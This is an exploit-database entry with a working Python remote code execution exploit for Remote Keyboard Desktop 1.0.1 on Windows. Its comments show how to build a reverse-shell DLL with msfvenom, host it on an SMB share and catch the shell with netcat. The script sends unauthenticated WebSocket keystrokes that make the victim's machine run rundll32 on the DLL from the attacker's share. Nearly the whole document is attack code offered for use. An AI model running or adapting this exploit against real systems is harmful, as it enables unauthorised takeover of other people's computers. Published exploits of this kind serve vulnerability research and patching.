Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)

# Exploit Title: Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)
# Date: 05/17/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://remotecontrolio.web.app/
# Software Link: https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare
# Version: 1.0.1
# Tested on: Windows 10 Pro Build 19045

# Start Remote Keyboard Desktop on your windows
# Preparing:
#
# 1. Generating payload (dll/exe):
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.105 LPORT=8080 -f dll > shell.dll
# 2. Start smb server: impacket-smbserver SHARE . -smb2support
# 3. nc -lnvp 8080
# 4. python exploit.py
#####

#!/usr/bin/env python3

import websocket
import json
import time

target = "192.168.8.105"
lhost = "192.168.8.101"
WS_URL = f"ws://{target}:8080/"
payload = "shell2.dll" # payload dll/exe filename
debug = False

HEADER_LIST = [
    "User-Agent: Dart/3.7 (dart:io)",
    f"Origin: http://{target}:8080",
    "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits"
]

#SMB_PATH = f"cmd /c \\\\{lhost}\\SHARE\\{payload}" # exe based

SMB_PATH = f"rundll32.exe \\\\{lhost}\\SHARE\\{payload},ExportedFunc" # dll
based

special_mapping = {
    ' ': ("SPACE", False),
    '/': ("NUMPAD_DIVIDE", False),
    '\\': ("\\", False),
    '.': ("NUMPAD_DECIMAL", False),
    ',': (",", False),
}

def send_key_event(ws, key, key_down):
    event = {"command": "keyboard_event", "data": {"key": key, "keyDown":
key_down, "capsLock": False}}
    ws.send(json.dumps(event))

def send_text(ws, text, delay=0.05):
    shift_pressed = False
    for ch in text:
        if ch in special_mapping:
            key_name, need_shift = special_mapping[ch]
        elif ch.isalpha():
            need_shift = ch.isupper()
            key_name = ch.upper()
        elif ch.isdigit():
            key_name = ch
            need_shift = False
        else:
            raise ValueError(f"No key mapping for character: {ch!r}")

        if need_shift and not shift_pressed:
            send_key_event(ws, "SHIFT", True)
            shift_pressed = True
        elif not need_shift and shift_pressed:
            send_key_event(ws, "SHIFT", False)
            shift_pressed = False

        send_key_event(ws, key_name, True)
        send_key_event(ws, key_name, False)
        time.sleep(delay)

    if shift_pressed:
        send_key_event(ws, "SHIFT", False)

def send_key(ws, keys, delay=0.05):
    for key in keys:
        send_key_event(ws, key, True)
    time.sleep(delay)
    for key in reversed(keys):
        send_key_event(ws, key, False)

def on_open(ws):
    print ("Let's start!")

    send_key(ws, ["LEFT_WINDOWS", "R"])
    time.sleep(0.5)

    send_text(ws, SMB_PATH)
    send_key(ws, ["RETURN"])
    print ("Executing...")
    time.sleep(1.2)

    print("Check your listener!")
    if debug:

            print("\033[42;37mExploit by blue0x1 - github.com/blue0x1\033[0m
")

    ws.close()

def on_message(ws, message):
    if debug:
        print("[=] Received:", message)

def on_error(ws, error):
    if debug:
        print("[!] Error:", error)

def on_close(ws, code, reason):
    if debug:
        print(f"[x] Closed: {code} - {reason}")

if __name__ == "__main__":
    websocket.enableTrace(debug)
    ws = websocket.WebSocketApp(
        WS_URL,
        header=HEADER_LIST,
        on_open=on_open,
        on_message=on_message,
        on_error=on_error,
        on_close=on_close
    )

    ws.run_forever()